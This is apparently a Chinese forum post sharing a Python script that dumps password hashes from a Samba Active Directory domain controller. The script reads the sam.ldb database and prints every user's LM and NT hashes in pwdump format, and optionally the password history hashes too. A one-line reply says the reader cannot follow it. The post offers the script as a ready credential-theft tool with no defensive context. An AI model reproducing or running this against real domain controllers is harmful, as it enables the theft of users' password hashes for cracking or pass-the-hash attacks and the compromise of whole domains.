samba域控获取密码脚本

admin

1. 
   
2. #!/usr/bin/env python
   
3. def get_history(attr, r):
   
4. hashes = []
   
5. if attr in r:
   
6. hist = r[attr][0]
   
7. for i in range(0, len(hist), 16):
   
8. h = hist[i:i+16].encode('hex')
   
9. hashes.append(h)
   
10. return hashes
    
11. def get_hash(attr, r):
    
12. if attr not in r:
    
13. return ''
    
14. else:
    
15. return r[attr][0].encode('hex')
    
16. from samba.ndr import ndr_unpack
    
17. from samba.dcerpc import security
    
18. from ldb import Ldb
    
19. from sys import argv, exit
    
20. if len(argv) not in (2, 3):
    
21. print('Usage: %s <path to .ldb> [-history]' % argv[0])
    
22. print("Exmpl: %s '/var/lib/samba/private/sam.ldb.d/DC=SECURUS,DC=CORP,DC=COM.ldb'" % argv[0])
    
23. exit(2)
    
24. for r in Ldb(argv[1]).search(expression='(objectclass=user)'):
    
25. rid = ndr_unpack(security.dom_sid, r['objectSid'][0]).split()[-1]
    
26. username = r['sAMAccountName']
    
27. lmhash = get_hash('dBCSPwd', r)
    
28. nthash = get_hash('unicodePwd', r)
    
29. print('%s:%s:%s:%s:::' % (username, rid, lmhash, nthash))
    
30. if len(argv) == 3 and argv[2] == '-history':
    
31. lmhistory = get_history('lmPwdHistory', r)
    
32. nthistory = get_history('ntPwdHistory', r)
    
33. 
    
34. for i, (lmhash, nthash) in enumerate(map(lambda l,n: (l,n) if l else ('',n), lmhistory[1:], nthistory[1:])):
    
35. print('%s_history%d:%s:%s:%s:::' % (username, i, rid, lmhash, nthash))
    

复制代码

小白路过，表示看不懂